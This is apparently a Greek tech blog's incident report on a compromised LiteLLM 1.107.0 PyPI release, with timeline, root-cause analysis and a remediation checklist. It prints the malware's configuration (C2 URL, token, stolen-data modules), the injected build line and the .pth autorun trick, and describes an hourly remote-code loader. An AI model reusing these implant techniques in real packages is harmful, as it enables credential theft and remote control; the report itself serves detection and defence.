THEDARKMONSTER/DATA STREAMSupply Chain · 21.10.2026
Supply Chain Attack · PyPI · Rapid Report

LiteLLM Παραβιάστηκε

Ένα από τα πιο δημοφιλή πακέτα Python της AI εποχής — ο «μεταφραστής» που χρησιμοποιούν χιλιάδες εφαρμογές για να μιλούν σε OpenAI, Anthropic, Azure και εκατό ακόμα providers — παραδόθηκε σήμερα το μεσημέρι (ώρα Ελλάδας) στο PyPI με κλέφτη credentials και backdoor μέσα του. Χωρίς να χρειαστεί να κάνεις import τίποτα. Απλώς να τρέξεις Python.

thedarkmonster14 λεπτά ανάγνωσηςData Stream edition
PYPI · WHEEL litellm 1.107.0 pip install site-packages cook.pth · cook.py sitecustomize.py ΚΑΘΕ PYTHON PROCESS app · pip · IDE · CI χωρίς καν import C2 · www.litellm[.]dev
RELEASE: litellm 1.107.0 UPLOADED: 21/10 11:39 UTC REMOVED: ~13:40 UTC — 2h ζωή FILES: cook.pth · cook.py · sitecustomize.py
3 αρχείαimplant στα site-packages
16κατηγορίες δεδομένων που κλέβει
~2 ώρεςζωή του release στο PyPI
0 importsχρειάζονται για να τρέξει

Δεν χρειάστηκε να κάνεις import το litellm. Αρκεί να υπάρχει στον δίσκο.

Στις 11:39 UTC της Τρίτης 21ης Οκτωβρίου 2026, ανέβηκε στο PyPI η έκδοση 1.107.0 του LiteLLM — της δημοφιλούς open-source βιβλιοθήκης που λειτουργεί ως ενιαίο API προς εκατοντάδες LLM providers. Μέσα στα wheels (και τα επτά: Linux, macOS, Windows) κρύβονταν τρία επιπλέον αρχεία που δεν υπήρχαν πουθενά στον πηγαίο κώδικα του GitHub: ένα cook.pth δώδεκα bytes, ένα cook.py 22 KB και ένα sitecustomize.py 25 KB. Το πρώτο λέει μια φράση: import cook. Ό,τι έπεται είναι κακόβουλη μηχανική ακριβείας: ένα credential stealer που ψάχνει SSH keys, cloud credentials, CI/CD μυστικά και tokens από AI εργαλεία, και ένα backdoor που κάθε ώρα κατεβάζει και εκτελεί ό,τι κώδικα του πει ο επιτιθέμενος.

Το πιο ανησυχητικό στοιχείο δεν είναι το τι έκλεβαν — είναι το πότε έτρεχαν: κατά την εκκίνηση κάθε Python process. Η Python, όταν ξεκινά, εκτελεί αυτόματα ό,τι αρχεία .pth με εντολές import βρίσκει στα site-packages, και imports το sitecustomize. Δηλαδή: η εφαρμογή σου, το pip σου, ο language server του IDE σου, τα CI jobs σου — όλα έτρεχαν τον κλέφτη, ακόμα κι αν το project τους δεν είχε καμία σχέση με το litellm. Αρκεί το πακέτο να είχε γίνει pip install στο μηχάνημα.

Η ανάλυση της SafeDep που αποκάλυψε το θέμα είναι ανελέητα τεκμηριωμένη: το upstream GitHub repo δεν περιέχει πουθενά τα αρχεία αυτά, το PyPI αφαίρεσε το release γύρω στις 13:40 UTC, και οι εκδόσεις 1.106.2 (ανέβηκε 10:44 UTC — δηλαδή μία ώρα πριν την κακόβουλη) και 1.107.0rc1/rc2 είναι καθαρές. Ο επιτιθέμενος χτύπησε στο σωστό σημείο, την κατάλληλη στιγμή: το παράθυρο ανάμεσα σε δύο νόμιμες εκδόσεις.

Το supply chain attack του 2026 δεν σπάει τον κώδικα. Σπάει τη διαδρομή ανάμεσα στον developer και το pip install σου.

Τι είναι το LiteLLM — και γιατί είναι το τέλειο θύμα

Το LiteLLM (BerriAI) είναι δύο πράγματα ταυτόχρονα: μια Python βιβλιοθήκη που δίνει ενιαίο interface σε 100+ LLM providers (OpenAI, Anthropic, Gemini, Azure, Bedrock, Ollama, ό,τι θες), και ένα proxy server που οι εταιρείες στήνουν μπροστά από τα LLM keys τους για routing, rate limiting, budgets και logging. Με άλλα λόγια: είναι ο διαχειριστής των πιο πολύτιμων μυστικών της AI στοίβας σου — τα API keys που πληρώνουν ανά token.

Αυτό κάνει την παραβίασή του διπλά σοβαρή. Πρώτον, επειδή το πακέτο κατεβαίνει από developers, CI pipelines και AI agents σε όλο τον κόσμο — «pip install litellm» είναι σχεδόν το default σε κάθε project που αγγίζει LLMs. Δεύτερον, επειδή ο ίδιος ο backdoor ξέρει ότι το θύμα που τρέχει LiteLLM proxy κρατάει όλα τα LLM provider keys του οργανισμού σε μια βάση: το stealer έχει αποκλειστική μονάδα db_litellm που διαβάζει το DATABASE_URL και αδειάζει τους πίνακες LiteLLM_CredentialsTable και LiteLLM_ProxyModelTable. Ένας διαχειριστής κλειδιών που γίνεται αυτόματος κλέφτης κλειδιών.

η λεπτομέρεια που κάνει τη διαφορά

.pth: η κρυφή πόρτα της Python

Τα αρχεία .pth μέσα στα site-packages σχεδιάστηκαν για να προσθέτουν paths στο sys.path. Αλλά αν μια γραμμή τους ξεκινά με «import », η Python την εκτελεί κατά την εκκίνηση — σε κάθε process. Το cook.pth με περιεχόμενο import cook είναι η πιο σύντομη κακόβουλη γραμμή κώδικα που θα δεις φέτος: 12 bytes που μετατρέπουν οποιαδήποτε Python εφαρμογή του μηχανήματος σε client του stealer. Για αυτό δεν χρειάζεται ευάλωτη εφαρμογή, δεν χρειάζεται phishing, δεν χρειάζεται import: αρκεί το πακέτο να είναι εγκατεστημένο.

Το χρονολόγιο της 21ης Οκτωβρίου — όλα μέσα σε λίγες ώρες

06:59 UTCΔημιουργείται το tag v1.107.0 στο GitHub (commit 66c8f5b). Προσοχή: το pyproject.toml του tag λέει version = "1.108.0" — το release που κυκλοφόρησε δεν αντιστοιχεί στο tag του.
08:50 UTCCommit a8113b0 στο main — η βάση της πηγής από την οποία χτίστηκε το malicious sdist.
10:44 UTCΗ νόμιμη 1.106.2 ανεβαίνει στο PyPI. Όλα φυσιολογικά.
11:20–11:37 UTCΧτίζονται τα επτά κακόβουλα wheels — macOS 11:20, Linux 11:21, Windows 11:37. Μέσα εκεί: cook.pth, cook.py, sitecustomize.py.
11:39–11:40 UTCΤο litellm 1.107.0 ανεβαίνει στο PyPI — όλα τα 8 αρχεία. Το ιδανικό παράθυρο: ανάμεσα σε δύο αθώες εκδόσεις, λίγο πριν το μεσημεριανό traffic Ευρώπης–ΗΠΑ.
11:50 UTCΤο litellm-dispatcher[bot] δημοσιεύει το GitHub Release v1.107.0 — με 10 λεπτά καθυστέρηση, ακριβώς όπως στη νόμιμη 1.106.2. Η μηχανή κυκλοφορίας έδωσε, άθελα της, σήμα εγκυρότητας.
13:40 UTCΔύο ώρες μετά: το 1.107.0 έχει αφαιρεθεί από το PyPI και το GitHub account letters9813 — που φιλοξενούσε το domain.txt του backdoor — έχει σβηστεί (404).

Η ένεση: μία γραμμή στο pyproject.toml

Πώς φόρτωσαν τα αρχεία μέσα σε wheel που μοιάζει απόλυτα κανονικό; Με την πιο απλή απάντηση: έβαλαν μία γραμμή στο build configuration. Στο sdist του 1.107.0, η ενότητα του maturin (του Rust-Python build tool) έχει ένα data = "cook" που δεν υπάρχει πουθενά στο GitHub:

[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- η ένεση
python-packages = ["litellm_cli"] # legit — υπάρχει upstream

Η ρύθμιση data λέει στο maturin να αντιγράψει τον φάκελο cook/ μέσα στα purelib του wheel — δηλαδή εκεί όπου το pip κάνει install στα site-packages. Ο φάκελος cook/ περιείχε τα τρία αρχεία-implant. Αλλά το ζουμί είναι πιο βαθύ: η SafeDep σύγκρινε blob-by-blob ολόκληρο το sdist με τα git trees. Το malicious sdist ταιριάζει με το commit a8113b0 του main συν πέντε επεξεργασμένα αρχεία: τέσσερα Cargo.toml με μια αθώα γραμμή readme = "README.md" (την ίδια που έχουν νόμιμα τα releases — θόρυβος που καλύπτει) και το pyproject.toml, όπου εκτός από την ένεση, ο attacker κάνει rollback την έκδοση από 1.108.0 σε 1.107.0 και κλειδώνει τα companion packages στις τιμές του rc2. Αποτέλεσμα: οποιοδήποτε dependency diff ενάντια στην release candidate έδειχνε… τίποτα.

η ασυνέπεια που το πρόδωσε

Το release δεν ταιριάζει με το tag

Το tag v1.107.0 δείχνει commit που λέει 1.108.0 — και το sdist λέει 1.107.0 αλλά χτίστηκε από άλλο, νεότερο commit. Αυτή η «σφήνα» ανάμεσα σε tag, branch και artifact είναι το μοναδικό δακτυλικό αποτύπωμα του επιτιθέμενου. Και είναι ακριβώς ο έλεγχος που κάνει η provenance attestation του PyPI αυτόματα — εκτός που το 1.107.0, όπως και οι νόμιμες εκδόσεις της BerriAI, δεν είχε καμία.

Τέλος: τα wheels φτιάχτηκαν με maturin 1.9.4 — την ίδια έκδοση των νόμιμων releases — και έχουν σωστές εγγραφές RECORD, άρα δεν πειράχτηκαν μετά το build. Στο Windows wheel, και τα 2.804 αρχεία .py έχουν CRLF line endings, συμπεριλαμβανομένων των τριών implant files: ένδειξη ότι το build έτρεξε σε Windows machine με git checkout και line-ending conversion — όχι στο κανονικό CI. Η SafeDep έλεγξε όλα τα 539 GitHub Actions runs του παραθύρου 09:30–12:30 UTC: κανένα δεν έχτισε ή δημοσίευσε το release.

cook.py: ο κλέφτης που ξέρει τι να ψάξει

Το cook.py είναι ~61 KB Python κώδικας τυλιγμένος σε ένα στρώμα exec(zlib.decompress(base64.b64decode('...'))). Ο αποκωδικοποιημένος κώδικας ορίζεται από μια ενότητα configuration που τα λέει όλα:

PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']

Δεκαέξι μονάδες συλλογής, καθεμία στοχευμένη:

  • Συστήματος: hostname, χρήστης, OS, IPs, network settings.
  • Browser: αποκρυπτογραφημένοι saved passwords Chromium (μέσω DPAPI master key στο Windows) και Firefox logins.json/key4.db, και ιστορικό.
  • Developer identity: ~/.ssh/*, bash/zsh history, PowerShell PSReadLine, cmd history.
  • Cloud: ~/.aws/credentials, Azure profiles, gcloud, ~/.kube/config, Docker config, GitHub CLI hosts.yml, rclone.conf, .netrc.
  • CI/CD: GitLab runner config.toml, Jenkins initialAdminPassword και master.key, .vault-token, Terraform credentials.tfrc.json, Packer.
  • AI εργαλεία: tokens από Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json, Gemini CLI, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, Hugging Face. Η λίστα διαβάζεται σαν κατάλογος του AI developer stack του 2026 — ο επιτιθέμενος ξέρει ακριβώς πού ζουν πλέον τα μυστικά.
  • Ειδικά για LiteLLM: db_litellm — σύνδεση στο DATABASE_URL και dump των πινάκων με τα LLM provider keys του proxy.
  • Cloud metadata: queries στο 169.254.169.254 (IMDSv2, fallback v1) για κλοπή IAM ρόλων από cloud instances.
  • Crypto/TLS: GPG keys και TLS private keys.

Η εξαγωγή έχει επαγγελματική υγιεινή: τα JSON δεδομένα κρυπτογραφούνται με τυχαίο AES-256-CBC key, το key κρυπτογραφείται με RSA-OAEP και το ενσωματωμένο δημόσιο κλειδί των 4096 bit, και το πακέτο (hdr.json, data.bin, key.bin) στέλνεται σε POST στο www.litellm[.]dev/healthcheck — το domain που μιμείται το legit healthcheck endpoint του LiteLLM proxy. Μόλις πετύχει, γράφει το marker /tmp/.pc_once_… ώστε να μην ξαναστείλει από το ίδιο host: μία φορά είναι αρκετή.

Το domain του C2 δεν ήταν τυχαίο: litellm[.]dev. Το typosquat δεν γίνεται πλέον ονομάτων πακέτων — γίνεται ονομάτων endpoint των ίδιων των εργαλείων.

sitecustomize.py: ο υπάκουος daemon που περίμενε εντολές

Το δεύτερο αρχείο εκμεταλλεύεται έναν άλλο μηχανισμό της Python: το module sitecustomize φορτώνεται αυτόματα κατά την εκκίνηση, αν υπάρχει στο path. Το implant κάνει fork και setsid (daemon, parent PID 1, working directory /), παίρνει exclusive lock στο /tmp/remote_code_loader.lock ώστε να τρέχει ένα daemon ανά host, και μπαίνει σε ωριαίο βρόχο:

  • Κάθε ώρα: διαβάζει το πρώτο domain από raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt.
  • Ξανατρέχει τον stealer — αυτή τη φορά χωρίς once-per-host marker, δηλαδή συνεχόμενη συλλογή.
  • Κατεβάζει και εκτελεί με exec() ό,τι επιστρέψει το http://<domain>/codepy — second stage πλήρως ελεγχόμενο από τον επιτιθέμενο, με payload που μπορεί να αλλάζει ανά ώρα.

Εδώ η φύση της απειλής αλλάζει ριζικά: ο stealer κλέβει snapshot του παρόντος. Ο daemon παρέχει συνεχή έλεγχο — ο επιτιθέμενος μπορεί ανά ώρα να αλλάξει payload, να στείλει ransomware, miner ή logger. Η αδυναμία του ήταν η υποδομή: στις 13:40 UTC το account letters9813 σβήστηκε από το GitHub και το domain.txt εξαφανίστηκε. Ο daemon πλέον δεν βρίσκει διεύθυνση και δεν κάνει τίποτα. Αλλά τα hosts που έτρεξαν τον daemon μέσα στο παράθυρο των δύο ωρών μπορεί να είχαν ήδη λάβει και εκτελέσει second stage κώδικα — η SafeDep δεν μπόρεσε να ανακτήσει τη διεύθυνση του server, άρα δεν γνωρίζουμε τι έτρεξε εκεί.

Ποιος το έχτισε — το ερώτημα της pipeline

Τα ευρήματα που γεννούν τα περίεργα ερωτήματα: τα wheels θυμίζουν έξοδο της κανονικής BerriAI release pipeline — σωστό maturin 1.9.4, σωστές RECORD εγγραφές, ο bot δημοσίευσε το GitHub Release με την ίδια καθυστέρηση που κάνει στις νόμιμες εκδόσεις. Αλλά κανένα GitHub Actions run δεν έχτισε ή ανέβασε το πακέτο. Πώς τα έφτιαξε και τα ανέβασε; Η SafeDep διατυπώνει τρία σενάρια, με μεσαία έως υψηλή βεβαιότητα για κάποιο από τα δύο πρώτα:

  • Παραβιασμένο credential maintainer ή bot (PyPI token, session, release key) — ο attacker χτίζει ο ίδιος από δικό του μηχάνημα (το CRLF pattern του Windows wheel συνάδει) και ανεβάζει ως «maintainer».
  • Ιδιωτικό branch ή mirror — η pipeline χτίζει από attacker-controlled πηγή, χωρίς να το ξέρει.
  • Κλεμμένο PyPI token από εξωτερικό μηχάνημα — ταιριάζει λιγότερο καλά με τα ευρήματα, αλλά δεν αποκλείεται.

Και εδώ είναι το συμπέρασμα που καίει: μόνο τα logs της BerriAI μπορούν να απαντήσουν οριστικά — και αυτό είναι εξ ορισμού αργά. Το PyPI δεν διαθέτει provenance attestations για το 1.107.0, ούτε για τις νόμιμες εκδόσεις. Δηλαδή: ούτε το registry ούτε εσύ μπορούσες να αποδείξεις ότι το wheel που κατέβασες χτίστηκε από το commit που βλέπεις στο GitHub. Ο attacker χρειάστηκε να παρακάμψει ακριβώς μία στρώση — τη σχέση εμπιστοσύνης ανάμεσα στο repo και το registry — και αυτή η στρώση δεν είχε χτιστεί καθόλου.

Τον Μάρτιο το ξαναζήσαμε. Και ξεχάσαμε.

Αυτό δεν είναι το πρώτο χτύπημα στο LiteLLM — ούτε καν το πρώτο φέτος. Τον Μάρτιο του 2026, οι εκδόσεις 1.82.7 και 1.82.8 στο PyPI παραδόθηκαν με litellm_init.pth — ένα credential stealer με ακριβώς την ίδια τεχνική .pth, στο πλαίσιο της καμπάνιας που οι ερευνητές της Datadog ονόμασαν TeamPCP. Το HN thread για το issue της BerriAI μάζεψε 739 πόντους, ο Karpathy το σχολίασε, το BleepingComputer έγραψε για αυτό… και επτά μήνες μετά, ο ίδιος μηχανισμός ξαναδούλεψε σε νεότερη έκδοση, με πιο εξελιγμένο payload.

Η ιστορία των supply chain attacks είναι μια λίστα επαναλήψεων που αρνούμαστε να διαβάσουμε:

  • SolarWinds (2020): κακόβουλος κώδικας μέσα σε υπογεγραμμένες ενημερώσεις — ~18.000 οργανισμοί.
  • Codecov (2021): παραποιημένο bash uploader — κλοπή credentials από CI pipelines.
  • 3CX (2023): υπογεγραμμένο desktop app μολυσμένο downstream — double supply chain.
  • XZ Utils (2024): χρόνια infiltration, backdoor στα liblzma — έπεσε από μία υποψία ενός engineer.
  • TeamPCP / litellm Μαρτίου 2026: κλέφτης σε .pth — μια πρώτη δοκιμή του επιτιθέμενου.
  • litellm 1.107.0, Οκτωβρίου 2026: η ίδια πόρτα, εμφυτευμένη πλέον στο build configuration, με daemon και C2. Η τεχνική ωρίμασε από δοκιμή σε πλήρη επιχείρηση.
Το pattern είναι σταθερό: δεν χρειάζεται να σπάσεις την κλειδαριά. Αρκεί να μπεις στη βιομηχανία που φτιάχνει τα κλειδιά — και να περιμένεις το επόμενο pip install.

Checklist: αν έκανες pip install litellm σήμερα (ή τρέχεις Python hosts που δεν ελέγχεις)

  • Έλεγξε έκδοση: pip show litellm / pip index versions litellm. Το 1.107.0 έχει αφαιρεθεί από το PyPI — αν το δεις στο environment σου, θεώρησέ το compromised.
  • Ψάξε τα markers: cook.pth, cook.py, sitecustomize.py στα site-packages. Θυμήσου: το sitecustomize.py μπορεί να υπάρχει και για νόμιμους λόγους — δες περιεχόμενο και hash.
  • Ψάξε τα filesystem σημεία: /tmp/.pc_once_72129118c59f5636c0bb (ο stealer έστειλε δεδομένα) και /tmp/remote_code_loader.lock (ο daemon έτρεξε).
  • Ψάξε processes: daemonized Python με parent PID 1, own session, CWD /. Ψάξε PRIVCOLLECT_ACTIVE=1 στο environment.
  • Ψάξε network logs: requests προς www.litellm[.]dev, header X-Token, και access στο 169.254.169.254 από Python processes.
  • Rotate τα πάντα — με αυτή τη σειρά: LLM provider keys (αν τρέχεις LiteLLM proxy: rotate ΟΛΑ, όχι μόνο τα ενεργά), cloud credentials (AWS/Azure/GCP), SSH keys, tokens AI εργαλείων (Claude, Cursor, Copilot, HF…), CI/CD secrets (Jenkins, GitLab, Vault), και browser passwords αν υπήρχαν Chromium profiles.
  • Rebuild, μην καθαρίσεις: αν επιβεβαίωσες implant, φτιάξε νέα environments/hosts από clean images. Ένας daemon που έτρεξε έστω και μία φορά είναι αρκετός λόγος να μην εμπιστευτείς το host.
  • Πήγαινε σε καθαρές εκδόσεις: 1.106.2 ή νεότερη καθαρή έκδοση (το vendor αναμένεται να κυκλοφορήσει hotfix) — και pin σε hash (pip --require-hashes), όχι σε version.

Import, provenance και το τέλος της αφελούς εμπιστοσύνης στο registry

Τρία μαθήματα μένουν. Πρώτον, το γλωσσικό design χρέος: τα .pth files και το sitecustomize είναι μηχανισμοί της δεκαετίας του 2000 που επιτρέπουν κώδικα να τρέχει χωρίς καν να κληθεί. Αν διαχειρίζεσαι Python υποδομές, τα εργαλεία υπάρχουν: pip-audit, έλεγχος για unexpected .pth files, freeze environments με hashes. Και ως κοινότητα, αξίζει η συζήτηση — γιατί κάθε λύση τύπου «τρέξε Python με -S» είναι ένα επίθεμα πάνω στο πρόβλημα, όχι λύση.

Δεύτερον, το provenance χάσμα: το PyPI υποστηρίζει Trusted Publishing και attestations — αλλά είναι προαιρετικά, και τα περισσότερα projects (συμπεριλαμβανομένου ενός core AI dependency όπως το LiteLLM) δεν τα χρησιμοποιούν. Όταν δεν μπορείς να αποδείξεις ότι το artifact προέρχεται από το source που βλέπεις, η διαδρομή repo→registry είναι σκόπιμα εύκολο να πλαστογραφηθεί. Η φόρμουλα είναι γνωστή εδώ και χρόνια: OIDC-based trusted publishing, signed attestations, SLSA levels. Απλώς δεν μπαίνει μέχρι να χτυπήσει το καμπανάκι.

Τρίτον, το AI χρέος: ο stealer είχε εξειδικευμένη μονάδα για Claude Code, Cursor, Copilot, MCP configs, Codex, Aider… Τα AI dev tools του 2026 κρατούν tokens με πρόσβαση σε κώδικα, υποδομές και πιστωτικές κάρτες — και ζουν στα ίδια dotfiles με τα SSH keys. Η AI supply chain δεν είναι πια θεωρία: είναι η λίστα targets που ο επιτιθέμενος σου έχει ήδη γράψει σε config.

Το pip install είναι το πιο συχνό remote code execution που κάνεις σήμερα — και το ξεχάσαμε γιατί συνήθως πηγαίνει καλά.

FAQ: ό,τι ρωτούν πρώτο μετά από μια τέτοια είδηση

Χρειάστηκε να κάνω import το litellm για να εκτελεστεί ο κακόβουλος κώδικας;
Όχι. Το cook.pth περιέχει τη γραμμή import cook και το sitecustomize.py φορτώνεται αυτόματα. Αρκεί το πακέτο να είναι εγκατεστημένο σε ένα environment: κάθε εκκίνηση Python process — εφαρμογή, pip, IDE, CI — έτρεχε τον κώδικα.
Ποιες εκδόσεις είναι καθαρές;
Οι 1.106.2, 1.107.0rc1 και 1.107.0rc2. Η 1.107.0 αφαιρέθηκε από το PyPI περίπου δύο ώρες μετά την ανάρτηση. Αν τη βλέπεις σε lockfile ή environment, θεώρησέ την compromised.
Πώς κρύφτηκε το payload μέσα στο wheel;
Με τη ρύθμιση data = "cook" στο [tool.maturin] του pyproject.toml. Το maturin αντέγραψε τον φάκελο cook/ στα site-packages, χωρίς αντίστοιχο commit στο δημόσιο GitHub repo.
Τι ακριβώς έκλεβε;
SSH keys, cloud credentials (AWS, Azure, GCP, Kubernetes, Docker), CI/CD secrets (GitLab, Jenkins, Vault, Terraform), browser passwords και tokens από AI εργαλεία (Claude Code, Cursor, Copilot, Codex, Hugging Face κ.ά.). Επιπλέον, απέσπασε τους πίνακες της LiteLLM proxy βάσης με τα LLM provider keys.
Πώς καταλάβαμε ότι το πακέτο ήταν κακόβουλο;
Η SafeDep εντόπισε τα τρία επιπλέον αρχεία στα wheels, τα οποία δεν υπάρχουν στο upstream repo. Επιπλέον, το tag v1.107.0 έδειχνε commit με version 1.108.0 και κανένα GitHub Actions run δεν είχε χτίσει το release.
Τι κάνω αν εγκατέστησα την 1.107.0;
Θεώρησε το host compromised. Έλεγξε για /tmp/.pc_once_* και /tmp/remote_code_loader.lock, ψάξε κίνηση προς www.litellm[.]dev και κάνε rotate LLM keys, cloud credentials, SSH keys και tokens AI εργαλείων. Αν βρεις implant, rebuild από clean image.
Είναι το C2 ακόμα ενεργό;
Το domain.txt στο GitHub account letters9813 έγινε 404 και το release αφαιρέθηκε, οπότε ο ωριαίος loader δεν βρίσκει πλέον διεύθυνση. Ωστόσο, hosts που έτρεξαν τον daemon μέσα στο δίωρο μπορεί να είχαν ήδη εκτελέσει second-stage payload.
Είναι η ίδια επίθεση με τον Μάρτιο του 2026;
Όχι ακριβώς. Τον Μάρτιο οι 1.82.7/1.82.8 είχαν litellm_init.pth (TeamPCP). Τώρα χρησιμοποιήθηκε cook.pth, sitecustomize.py και C2 — η ίδια τεχνική .pth, αλλά με πιο εξελιγμένο payload και daemon.
Py
PI

Ετυμηγορία: η πιο επικίνδυνη γραμμή κώδικα του άρθρου αυτού είναι 12 bytes — «import cook».

Δεν χρειάστηκε zero-day στην Python, κανένα exploit στην εφαρμογή σου, κανένα phishing. Χρειάστηκε μία γραμμή σε ένα build configuration, ένα παράθυρο δύο ωρών ανάμεσα σε νόμιμες εκδόσεις, και η απουσία provenance σε ένα registry που εμπιστευόμαστε στα τυφλά. Το LiteLLM είναι καθρέφτης: ό,τι χτίζουμε πάνω σε AI dependencies κληρονομεί την εμπιστοσύνη — και την αφελή της. Rotations, hashes, attestations, monitoring: τέσσερις λέξεις που πρέπει να βρίσκονται σε κάθε CI pipeline που αγγίζει LLMs. Γιατί ο επόμενος attacker δεν θα σβήσει το C2 account σε δύο ώρες.

Πηγές

  1. SafeDep — "Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor" (21/10/2026) — η κύρια τεχνική ανάλυση.
  2. PyPI — σελίδα πακέτου litellm (το 1.107.0 έχει αφαιρεθεί).
  3. BerriAI/litellm — επίσημο GitHub repository.
  4. BerriAI/litellm issue #24512 — "Malicious litellm_init.pth in litellm 1.82.8 PyPI package" (Μάρτιος 2026).
  5. BleepingComputer — "Popular LiteLLM PyPI package backdoored to steal credentials" (Μάρτιος 2026).
  6. Datadog Security Labs — "Tracing the March 2026 TeamPCP supply chain campaign".
  7. FutureSearch — "Supply Chain Attack in litellm on PyPI" (Μάρτιος 2026).

Σημείωση: η ανάλυση βασίζεται στην τεχνική έρευνα της SafeDep (21/10/2026), η οποία βρίσκεται σε εξέλιξη. Στοιχεία όπως ο ακριβής μηχανισμός παραβίασης της release pipeline της BerriAI και το περιεχόμενο τυχόν second-stage payload δεν έχουν επιβεβαιωθεί δημόσια. Οι χρόνοι είναι UTC.

Εξερεύνησε ανά θέμα

Cybersecurity & Privacy Artificial Intelligence Networks & Cloud Web3 & Blockchain Quantum Computing Biotech & MedTech Greek Tech Ecosystem